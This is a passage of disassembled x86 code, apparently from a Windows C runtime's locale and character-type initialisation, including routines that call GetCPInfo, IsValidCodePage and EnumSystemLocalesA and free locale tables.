mov eax, [ebp+var_4]
mov ds:off_454E18, eax
mov ecx, ds:dword_4F3624
push ecx
call sub_4349E0
add esp, 4
push 2
mov edx, ds:dword_4F3624
push edx
call sub_41CA10
add esp, 8
mov eax, [ebp+var_4]
mov ds:dword_4F3624, eax
xor eax, eax
jmp short loc_43474C
; ---------------------------------------------------------------------------
loc_4346EC: ; CODE XREF: sub_434620+Bj
mov ecx, ds:off_454E18
mov edx, [ecx]
mov ds:off_454DE8, edx
mov eax, ds:off_454E18
mov ecx, [eax+4]
mov ds:off_454DEC, ecx
mov edx, ds:off_454E18
mov eax, [edx+8]
mov ds:off_454DF0, eax
mov ds:off_454E18, offset off_454DE8
mov ecx, ds:dword_4F3624
push ecx
call sub_4349E0
add esp, 4
push 2
mov edx, ds:dword_4F3624
push edx
call sub_41CA10
add esp, 8
mov ds:dword_4F3624, 0
xor eax, eax
loc_43474C: ; CODE XREF: sub_434620+34j
; sub_434620+68j ...
mov esp, ebp
pop ebp
retn
sub_434620 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_434750 proc near ; CODE XREF: sub_434620+3Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
xor eax, eax
mov ax, ds:word_4F3644
mov [ebp+var_4], eax
cmp [ebp+arg_0], 0
jnz short loc_434776
or eax, 0FFFFFFFFh
jmp loc_434959
; ---------------------------------------------------------------------------
loc_434776: ; CODE XREF: sub_434750+1Cj
mov ecx, [ebp+arg_0]
add ecx, 0Ch
push ecx
push 15h
mov edx, [ebp+var_4]
push edx
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 10h
push edx
push 14h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 14h
push edx
push 16h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 18h
push edx
push 17h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 1Ch
push edx
push 18h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
push eax
call sub_434960
add esp, 4
mov ecx, [ebp+arg_0]
add ecx, 20h
push ecx
push 50h
mov edx, [ebp+var_4]
push edx
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 24h
push edx
push 51h
mov eax, [ebp+var_4]
push eax
push 1
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 28h
push edx
push 1Ah
mov eax, [ebp+var_4]
push eax
push 0
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 29h
push edx
push 19h
mov eax, [ebp+var_4]
push eax
push 0
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Ah
push edx
push 54h
mov eax, [ebp+var_4]
push eax
push 0
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Bh
push edx
push 55h
mov eax, [ebp+var_4]
push eax
push 0
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Ch
push edx
push 56h
mov eax, [ebp+var_4]
push eax
push 0
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Dh
push edx
push 57h
mov eax, [ebp+var_4]
push eax
push 0
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Eh
push edx
push 52h
mov eax, [ebp+var_4]
push eax
push 0
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Fh
push edx
push 53h
mov eax, [ebp+var_4]
push eax
push 0
call sub_438A00
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
loc_434959: ; CODE XREF: sub_434750+21j
mov esp, ebp
pop ebp
retn
sub_434750 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_434960 proc near ; CODE XREF: sub_434750+C8p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
loc_434964: ; CODE XREF: sub_434960:loc_4349D7j
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_4349D9
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
cmp eax, 30h
jl short loc_43499D
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 39h
jg short loc_43499D
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
sub ecx, 30h
mov edx, [ebp+arg_0]
mov [edx], cl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_4349D7
; ---------------------------------------------------------------------------
loc_43499D: ; CODE XREF: sub_434960+17j
; sub_434960+22j
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 3Bh
jnz short loc_4349CE
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_4349AE: ; CODE XREF: sub_434960+6Aj
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov al, [edx+1]
mov [ecx], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_4349AE
jmp short loc_4349D7
; ---------------------------------------------------------------------------
loc_4349CE: ; CODE XREF: sub_434960+46j
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_4349D7: ; CODE XREF: sub_434960+3Bj
; sub_434960+6Cj
jmp short loc_434964
; ---------------------------------------------------------------------------
loc_4349D9: ; CODE XREF: sub_434960+Cj
mov esp, ebp
pop ebp
retn
sub_434960 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4349E0 proc near ; CODE XREF: sub_434620+4Dp
; sub_434620+A7p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jnz short loc_4349EE
jmp loc_434A71
; ---------------------------------------------------------------------------
loc_4349EE: ; CODE XREF: sub_4349E0+7j
mov eax, [ebp+arg_0]
cmp dword ptr [eax+0Ch], offset dword_4F3684
jz short loc_434A71
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
push edx
call sub_41CA10
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
push ecx
call sub_41CA10
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
call sub_41CA10
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+18h]
push edx
call sub_41CA10
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
push ecx
call sub_41CA10
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+20h]
push eax
call sub_41CA10
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+24h]
push edx
call sub_41CA10
add esp, 8
loc_434A71: ; CODE XREF: sub_4349E0+9j
; sub_4349E0+18j
pop ebp
retn
sub_4349E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_434A80 proc near ; DATA XREF: _2:004542E0o
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_E = byte ptr -0Eh
push ebp
mov ebp, esp
sub esp, 30h
mov [ebp+var_2C], 0
mov [ebp+var_28], 0
cmp ds:dword_4F33F8, 0
jz loc_434DD1
cmp ds:dword_4F3408, 0
jnz short loc_434AD0
push offset dword_4F3408
push 1004h
xor eax, eax
mov ax, ds:word_4F363C
push eax
push 0
call sub_438A00
add esp, 10h
test eax, eax
jz short loc_434AD0
jmp loc_434D92
; ---------------------------------------------------------------------------
loc_434AD0: ; CODE XREF: sub_434A80+28j
; sub_434A80+49j
push 5Ch
push offset aInitctyp_c ; "initctyp.c"
push 2
push 202h
call sub_41BE70
add esp, 10h
mov [ebp+var_30], eax
push 5Eh
push offset aInitctyp_c ; "initctyp.c"
push 2
push 202h
call sub_41BE70
add esp, 10h
mov [ebp+var_1C], eax
push 60h
push offset aInitctyp_c ; "initctyp.c"
push 2
push 101h
call sub_41BE70
add esp, 10h
mov [ebp+var_2C], eax
push 62h
push offset aInitctyp_c ; "initctyp.c"
push 2
push 202h
call sub_41BE70
add esp, 10h
mov [ebp+var_28], eax
cmp [ebp+var_30], 0
jz short loc_434B4C
cmp [ebp+var_1C], 0
jz short loc_434B4C
cmp [ebp+var_2C], 0
jz short loc_434B4C
cmp [ebp+var_28], 0
jnz short loc_434B51
loc_434B4C: ; CODE XREF: sub_434A80+B8j
; sub_434A80+BEj ...
jmp loc_434D92
; ---------------------------------------------------------------------------
loc_434B51: ; CODE XREF: sub_434A80+CAj
mov ecx, [ebp+var_2C]
mov [ebp+var_18], ecx
mov [ebp+var_20], 0
jmp short loc_434B69
; ---------------------------------------------------------------------------
loc_434B60: ; CODE XREF: sub_434A80+103j
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
loc_434B69: ; CODE XREF: sub_434A80+DEj
cmp [ebp+var_20], 100h
jge short loc_434B85
mov eax, [ebp+var_18]
mov cl, byte ptr [ebp+var_20]
mov [eax], cl
mov edx, [ebp+var_18]
add edx, 1
mov [ebp+var_18], edx
jmp short loc_434B60
; ---------------------------------------------------------------------------
loc_434B85: ; CODE XREF: sub_434A80+F0j
lea eax, [ebp+var_14]
push eax
mov ecx, ds:dword_4F3408
push ecx
call ds:dword_4F54E0 ; GetCPInfo
test eax, eax
jnz short loc_434B9F
jmp loc_434D92
; ---------------------------------------------------------------------------
loc_434B9F: ; CODE XREF: sub_434A80+118j
cmp [ebp+var_14], 2
jbe short loc_434BAA
jmp loc_434D92
; ---------------------------------------------------------------------------
loc_434BAA: ; CODE XREF: sub_434A80+123j
mov edx, [ebp+var_14]
and edx, 0FFFFh
mov ds:dword_453DF0, edx
cmp ds:dword_453DF0, 1
jle short loc_434C19
lea eax, [ebp+var_E]
mov [ebp+var_18], eax
jmp short loc_434BD3
; ---------------------------------------------------------------------------
loc_434BCA: ; CODE XREF: sub_434A80:loc_434C17j
mov ecx, [ebp+var_18]
add ecx, 2
mov [ebp+var_18], ecx
loc_434BD3: ; CODE XREF: sub_434A80+148j
mov edx, [ebp+var_18]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_434C19
mov ecx, [ebp+var_18]
xor edx, edx
mov dl, [ecx+1]
test edx, edx
jz short loc_434C19
mov eax, [ebp+var_18]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_20], ecx
jmp short loc_434BFF
; ---------------------------------------------------------------------------
loc_434BF6: ; CODE XREF: sub_434A80+195j
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
loc_434BFF: ; CODE XREF: sub_434A80+174j
mov eax, [ebp+var_18]
xor ecx, ecx
mov cl, [eax+1]
cmp [ebp+var_20], ecx
jg short loc_434C17
mov edx, [ebp+var_2C]
add edx, [ebp+var_20]
mov byte ptr [edx], 0
jmp short loc_434BF6
; ---------------------------------------------------------------------------
loc_434C17: ; CODE XREF: sub_434A80+18Aj
jmp short loc_434BCA
; ---------------------------------------------------------------------------
loc_434C19: ; CODE XREF: sub_434A80+140j
; sub_434A80+15Cj ...
push 0
push 0
push 0
mov eax, [ebp+var_30]
add eax, 2
push eax
push 100h
mov ecx, [ebp+var_2C]
push ecx
push 1
call sub_431210
add esp, 1Ch
test eax, eax
jnz short loc_434C42
jmp loc_434D92
; ---------------------------------------------------------------------------
loc_434C42: ; CODE XREF: sub_434A80+1BBj
mov edx, [ebp+var_30]
mov word ptr [edx], 0
mov eax, [ebp+var_28]
mov [ebp+var_24], eax
mov [ebp+var_20], 0
jmp short loc_434C62
; ---------------------------------------------------------------------------
loc_434C59: ; CODE XREF: sub_434A80+1FEj
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
loc_434C62: ; CODE XREF: sub_434A80+1D7j
cmp [ebp+var_20], 100h
jge short loc_434C80
mov edx, [ebp+var_24]
mov ax, word ptr [ebp+var_20]
mov [edx], ax
mov ecx, [ebp+var_24]
add ecx, 2
mov [ebp+var_24], ecx
jmp short loc_434C59
; ---------------------------------------------------------------------------
loc_434C80: ; CODE XREF: sub_434A80+1E9j
push 0
push 0
mov edx, [ebp+var_1C]
add edx, 2
push edx
push 100h
mov eax, [ebp+var_28]
push eax
push 1
call sub_438CA0
add esp, 18h
test eax, eax
jnz short loc_434CA7
jmp loc_434D92
; ---------------------------------------------------------------------------
loc_434CA7: ; CODE XREF: sub_434A80+220j
mov ecx, [ebp+var_1C]
mov word ptr [ecx], 0
cmp ds:dword_453DF0, 1
jle short loc_434D13
lea edx, [ebp+var_E]
mov [ebp+var_18], edx
jmp short loc_434CC9
; ---------------------------------------------------------------------------
loc_434CC0: ; CODE XREF: sub_434A80:loc_434D11j
mov eax, [ebp+var_18]
add eax, 2
mov [ebp+var_18], eax
loc_434CC9: ; CODE XREF: sub_434A80+23Ej
mov ecx, [ebp+var_18]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz short loc_434D13
mov eax, [ebp+var_18]
xor ecx, ecx
mov cl, [eax+1]
test ecx, ecx
jz short loc_434D13
mov edx, [ebp+var_18]
xor eax, eax
mov al, [edx]
mov [ebp+var_20], eax
jmp short loc_434CF5
; ---------------------------------------------------------------------------
loc_434CEC: ; CODE XREF: sub_434A80+28Fj
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
loc_434CF5: ; CODE XREF: sub_434A80+26Aj
mov edx, [ebp+var_18]
xor eax, eax
mov al, [edx+1]
cmp [ebp+var_20], eax
jg short loc_434D11
mov ecx, [ebp+var_20]
mov edx, [ebp+var_30]
mov word ptr [edx+ecx*2+2], 8000h
jmp short loc_434CEC
; ---------------------------------------------------------------------------
loc_434D11: ; CODE XREF: sub_434A80+280j
jmp short loc_434CC0
; ---------------------------------------------------------------------------
loc_434D13: ; CODE XREF: sub_434A80+236j
; sub_434A80+252j ...
mov eax, [ebp+var_30]
add eax, 2
mov ds:off_453BE4, eax
mov ecx, [ebp+var_1C]
add ecx, 2
mov ds:off_453BE8, ecx
cmp ds:dword_4F3628, 0
jz short loc_434D44
push 2
mov edx, ds:dword_4F3628
push edx
call sub_41CA10
add esp, 8
loc_434D44: ; CODE XREF: sub_434A80+2B1j
mov eax, [ebp+var_30]
mov ds:dword_4F3628, eax
cmp ds:dword_4F362C, 0
jz short loc_434D66
push 2
mov ecx, ds:dword_4F362C
push ecx
call sub_41CA10
add esp, 8
loc_434D66: ; CODE XREF: sub_434A80+2D3j
mov edx, [ebp+var_1C]
mov ds:dword_4F362C, edx
push 2
mov eax, [ebp+var_2C]
push eax
call sub_41CA10
add esp, 8
push 2
mov ecx, [ebp+var_28]
push ecx
call sub_41CA10
add esp, 8
xor eax, eax
jmp loc_434E1C
; ---------------------------------------------------------------------------
loc_434D92: ; CODE XREF: sub_434A80+4Bj
; sub_434A80:loc_434B4Cj ...
push 2
mov edx, [ebp+var_30]
push edx
call sub_41CA10
add esp, 8
push 2
mov eax, [ebp+var_1C]
push eax
call sub_41CA10
add esp, 8
push 2
mov ecx, [ebp+var_2C]
push ecx
call sub_41CA10
add esp, 8
push 2
mov edx, [ebp+var_28]
push edx
call sub_41CA10
add esp, 8
mov eax, 1
jmp short loc_434E1C
; ---------------------------------------------------------------------------
loc_434DD1: ; CODE XREF: sub_434A80+1Bj
mov ds:off_453BE4, offset word_453BEE
mov ds:off_453BE8, offset word_453BEE
push 2
mov eax, ds:dword_4F3628
push eax
call sub_41CA10
add esp, 8
push 2
mov ecx, ds:dword_4F362C
push ecx
call sub_41CA10
add esp, 8
mov ds:dword_4F3628, 0
mov ds:dword_4F362C, 0
xor eax, eax
loc_434E1C: ; CODE XREF: sub_434A80+30Dj
; sub_434A80+34Fj
mov esp, ebp
pop ebp
retn
sub_434A80 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_434E20 proc near ; DATA XREF: _2:004542D4o
push ebp
mov ebp, esp
xor eax, eax
pop ebp
retn
sub_434E20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_434E30 proc near ; CODE XREF: _0:0042DC5Ep
; sub_42E310+7Bp
var_24 = dword ptr -24h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
mov edx, [ebp+arg_4]
lea ecx, [ecx+0]
loc_434E44: ; CODE XREF: sub_434E30+1Fj
mov al, [edx]
or al, al
jz short loc_434E51
inc edx
bts [esp+24h+var_24], eax
jmp short loc_434E44
; ---------------------------------------------------------------------------
loc_434E51: ; CODE XREF: sub_434E30+18j
mov esi, [ebp+arg_0]
or ecx, 0FFFFFFFFh
nop
loc_434E58: ; CODE XREF: sub_434E30+34j
inc ecx
mov al, [esi]
or al, al
jz short loc_434E66
inc esi
bt [esp+24h+var_24], eax
jnb short loc_434E58
loc_434E66: ; CODE XREF: sub_434E30+2Dj
mov eax, ecx
add esp, 20h
pop esi
leave
retn
sub_434E30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_434E70 proc near ; CODE XREF: _0:0042DB7Dp
var_24 = dword ptr -24h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
mov edx, [ebp+arg_4]
lea ecx, [ecx+0]
loc_434E84: ; CODE XREF: sub_434E70+1Fj
mov al, [edx]
or al, al
jz short loc_434E91
inc edx
bts [esp+24h+var_24], eax
jmp short loc_434E84
; ---------------------------------------------------------------------------
loc_434E91: ; CODE XREF: sub_434E70+18j
mov esi, [ebp+arg_0]
loc_434E94: ; CODE XREF: sub_434E70+2Fj
mov al, [esi]
or al, al
jz short loc_434EA4
inc esi
bt [esp+24h+var_24], eax
jnb short loc_434E94
lea eax, [esi-1]
loc_434EA4: ; CODE XREF: sub_434E70+28j
add esp, 20h
pop esi
leave
retn
sub_434E70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_434EB0 proc near ; CODE XREF: sub_42E120+D3p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
cmp ds:dword_4F3674, 0
jnz short loc_434EE2
call sub_435980
test eax, eax
jz short loc_434ED2
mov eax, ds:dword_4F5398
mov [ebp+var_8], eax
jmp short loc_434ED9
; ---------------------------------------------------------------------------
loc_434ED2: ; CODE XREF: sub_434EB0+16j
mov [ebp+var_8], offset sub_4359D0
loc_434ED9: ; CODE XREF: sub_434EB0+20j
mov ecx, [ebp+var_8]
mov ds:dword_4F3674, ecx
loc_434EE2: ; CODE XREF: sub_434EB0+Dj
cmp [ebp+arg_0], 0
jnz short loc_434EF2
call sub_4357D0
jmp loc_434FBE
; ---------------------------------------------------------------------------
loc_434EF2: ; CODE XREF: sub_434EB0+36j
mov edx, [ebp+arg_0]
mov ds:dword_4F3664, edx
cmp ds:dword_4F3664, 0
jz short loc_434F24
mov eax, ds:dword_4F3664
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_434F24
push offset dword_4F3664
push 40h
push offset off_454B20
call sub_4350B0
add esp, 0Ch
loc_434F24: ; CODE XREF: sub_434EB0+52j
; sub_434EB0+5Ej
mov edx, [ebp+arg_0]
add edx, 40h
mov ds:dword_4F3668, edx
cmp ds:dword_4F3668, 0
jz short loc_434F59
mov eax, ds:dword_4F3668
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_434F59
push offset dword_4F3668
push 16h
push offset off_454A68
call sub_4350B0
add esp, 0Ch
loc_434F59: ; CODE XREF: sub_434EB0+87j
; sub_434EB0+93j
mov ds:dword_4F366C, 0
cmp ds:dword_4F3664, 0
jz short loc_434F9D
mov edx, ds:dword_4F3664
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_434F9D
cmp ds:dword_4F3668, 0
jz short loc_434F96
mov ecx, ds:dword_4F3668
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_434F96
call sub_435140
jmp short loc_434F9B
; ---------------------------------------------------------------------------
loc_434F96: ; CODE XREF: sub_434EB0+D0j
; sub_434EB0+DDj
call sub_435530
loc_434F9B: ; CODE XREF: sub_434EB0+E4j
jmp short loc_434FBE
; ---------------------------------------------------------------------------
loc_434F9D: ; CODE XREF: sub_434EB0+BAj
; sub_434EB0+C7j
cmp ds:dword_4F3668, 0
jz short loc_434FB9
mov eax, ds:dword_4F3668
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_434FB9
call sub_4356D0
jmp short loc_434FBE
; ---------------------------------------------------------------------------
loc_434FB9: ; CODE XREF: sub_434EB0+F4j
; sub_434EB0+100j
call sub_4357D0
loc_434FBE: ; CODE XREF: sub_434EB0+3Dj
; sub_434EB0:loc_434F9Bj ...
cmp ds:dword_4F366C, 0
jnz short loc_434FCE
xor eax, eax
jmp loc_4350AC
; ---------------------------------------------------------------------------
loc_434FCE: ; CODE XREF: sub_434EB0+115j
mov edx, [ebp+arg_0]
add edx, 80h
push edx
call sub_435800
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_434FFC
mov eax, [ebp+var_4]
and eax, 0FFFFh
push eax
call ds:dword_4F52F4 ; IsValidCodePage
test eax, eax
jnz short loc_435003
loc_434FFC: ; CODE XREF: sub_434EB0+137j
xor eax, eax
jmp loc_4350AC
; ---------------------------------------------------------------------------
loc_435003: ; CODE XREF: sub_434EB0+14Aj
push 1
mov ecx, ds:dword_4F3654
push ecx
call ds:dword_4F52F8 ; IsValidLocale
test eax, eax
jnz short loc_43501D
xor eax, eax
jmp loc_4350AC
; ---------------------------------------------------------------------------
loc_43501D: ; CODE XREF: sub_434EB0+164j
cmp [ebp+arg_4], 0
jz short loc_435048
mov edx, [ebp+arg_4]
mov ax, word ptr ds:dword_4F3654
mov [edx], ax
mov ecx, [ebp+arg_4]
mov dx, word ptr ds:dword_4F3670
mov [ecx+2], dx
mov eax, [ebp+arg_4]
mov cx, word ptr [ebp+var_4]
mov [eax+4], cx
loc_435048: ; CODE XREF: sub_434EB0+171j
cmp [ebp+arg_8], 0
jz short loc_4350A7
push 40h
mov edx, [ebp+arg_8]
push edx
push 1001h
mov eax, ds:dword_4F3654
push eax
call ds:dword_4F3674
test eax, eax
jnz short loc_43506D
xor eax, eax
jmp short loc_4350AC
; ---------------------------------------------------------------------------
loc_43506D: ; CODE XREF: sub_434EB0+1B7j
push 40h
mov ecx, [ebp+arg_8]
add ecx, 40h
push ecx
push 1002h
mov edx, ds:dword_4F3670
push edx
call ds:dword_4F3674
test eax, eax
jnz short loc_435090
xor eax, eax
jmp short loc_4350AC
; ---------------------------------------------------------------------------
loc_435090: ; CODE XREF: sub_434EB0+1DAj
push 0Ah
mov eax, [ebp+arg_8]
add eax, 80h
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_430220
add esp, 0Ch
loc_4350A7: ; CODE XREF: sub_434EB0+19Cj
mov eax, 1
loc_4350AC: ; CODE XREF: sub_434EB0+119j
; sub_434EB0+14Ej ...
mov esp, ebp
pop ebp
retn
sub_434EB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4350B0 proc near ; CODE XREF: sub_434EB0+6Cp
; sub_434EB0+A1p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_8], 1
mov [ebp+var_C], 0
loc_4350C4: ; CODE XREF: sub_4350B0:loc_43512Cj
mov eax, [ebp+var_C]
cmp eax, [ebp+arg_4]
jg short loc_43512E
cmp [ebp+var_8], 0
jz short loc_43512E
mov eax, [ebp+var_C]
add eax, [ebp+arg_4]
cdq
sub eax, edx
sar eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*8]
push eax
mov ecx, [ebp+arg_8]
mov edx, [ecx]
push edx
call sub_420F10
add esp, 8
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_435112
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
lea edx, [ecx+eax*8+4]
mov eax, [ebp+arg_8]
mov [eax], edx
jmp short loc_43512C
; ---------------------------------------------------------------------------
loc_435112: ; CODE XREF: sub_4350B0+4Fj
cmp [ebp+var_8], 0
jge short loc_435123
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+arg_4], ecx
jmp short loc_43512C
; ---------------------------------------------------------------------------
loc_435123: ; CODE XREF: sub_4350B0+66j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_C], edx
loc_43512C: ; CODE XREF: sub_4350B0+60j
; sub_4350B0+71j
jmp short loc_4350C4
; ---------------------------------------------------------------------------
loc_43512E: ; CODE XREF: sub_4350B0+1Aj
; sub_4350B0+20j
mov esp, ebp
pop ebp
retn
sub_4350B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435140 proc near ; CODE XREF: sub_434EB0+DFp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov eax, ds:dword_4F3664
push eax
call sub_41BC70
add esp, 4
xor ecx, ecx
cmp eax, 3
setz cl
mov ds:dword_4F3660, ecx
mov edx, ds:dword_4F3668
push edx
call sub_41BC70
add esp, 4
xor ecx, ecx
cmp eax, 3
setz cl
mov ds:dword_4F3658, ecx
mov ds:dword_4F3654, 0
cmp ds:dword_4F3660, 0
jz short loc_435199
mov [ebp+var_4], 2
jmp short loc_4351AB
; ---------------------------------------------------------------------------
loc_435199: ; CODE XREF: sub_435140+4Ej
mov edx, ds:dword_4F3664
push edx
call sub_435BE0
add esp, 4
mov [ebp+var_4], eax
loc_4351AB: ; CODE XREF: sub_435140+57j
mov eax, [ebp+var_4]
mov ds:dword_4F365C, eax
push 1
push offset sub_435200
call ds:dword_4F52F0 ; EnumSystemLocalesA
mov ecx, ds:dword_4F366C
and ecx, 100h
test ecx, ecx
jz short loc_4351EC
mov edx, ds:dword_4F366C
and edx, 200h
test edx, edx
jz short loc_4351EC
mov eax, ds:dword_4F366C
and eax, 7
test eax, eax
jnz short loc_4351F6
loc_4351EC: ; CODE XREF: sub_435140+8Ej
; sub_435140+9Ej
mov ds:dword_4F366C, 0
loc_4351F6: ; CODE XREF: sub_435140+AAj
mov esp, ebp
pop ebp
retn
sub_435140 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435200 proc near ; DATA XREF: sub_435140+75o
var_7C = dword ptr -7Ch
var_78 = byte ptr -78h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 7Ch
mov eax, [ebp+arg_0]
push eax
call sub_435B60
add esp, 4
mov [ebp+var_7C], eax
push 78h
lea ecx, [ebp+var_78]
push ecx
mov edx, ds:dword_4F3658
neg edx
sbb edx, edx
and edx, 0FFFFF005h
add edx, 1002h
push edx
mov eax, [ebp+var_7C]
push eax
call ds:dword_4F3674
test eax, eax
jnz short loc_435254
loc_435240: ; DATA XREF: _2:004547A4o
; _2:off_44BE9Co
mov ds:dword_4F366C, 0
mov eax, 1
jmp loc_43551E
; ---------------------------------------------------------------------------
loc_435254: ; CODE XREF: sub_435200+3Ej
lea ecx, [ebp+var_78]
push ecx
mov edx, ds:dword_4F3668
push edx
call sub_420F10
add esp, 8
test eax, eax
jnz loc_43538F
push 78h
lea eax, [ebp+var_78]
push eax
mov ecx, ds:dword_4F3660
neg ecx
sbb ecx, ecx
and ecx, 0FFFFF002h
add ecx, 1001h
push ecx
mov edx, [ebp+var_7C]
push edx
call ds:dword_4F3674
test eax, eax
jnz short loc_4352AE
mov ds:dword_4F366C, 0
